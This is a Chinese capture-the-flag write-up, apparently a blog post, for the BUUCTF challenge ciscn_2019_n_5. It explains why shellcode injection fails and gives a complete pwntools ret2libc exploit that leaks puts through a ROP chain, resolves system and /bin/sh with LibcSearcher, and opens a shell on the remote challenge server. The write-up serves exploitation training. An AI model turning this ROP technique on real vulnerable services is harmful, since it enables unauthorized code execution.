buuctf ciscn_2019_n_5

开局:典型的ret2libc,

老规矩,file 文件

64位的小段存储

发现NX unknown(想到了ret2shellcode)

上IDA

发现有个name的全局变量(bss),这个时候就想到用ret2shellcode,但是实际上是不行的,因为这个name的bss不具有x权限

这个时候就可以确定ret2shellcode不行

shift+f12发现没有system和binsh等字符串,因此就需要用到ret2libc,这里的puts正好提前被使用了

下面的exploit如下:

 

from pwn import*
from LibcSearcher import *

sh = process('./a')
sh = remote('node5.buuoj.cn',26924)
elf = ELF('./a')

ret = 0x4004c9
pop_rdi_ret = 0x400713

main = 0x400636

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

sh.recvline()
sh.sendline(b'aaaa')
sh.recvline()
sh.recvline()
payload = b'a'*(0x28) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
sh.sendline(payload)
put_add = u64(sh.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(put_add))

libc = LibcSearcher('puts', put_add)
base = put_add - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')

sh.recvline()
sh.sendline(b'aaaa')
sh.recvline()
sh.recvline()

payload1 = b'a' * (0x28) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(sys)
sh.sendline(payload1)
sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值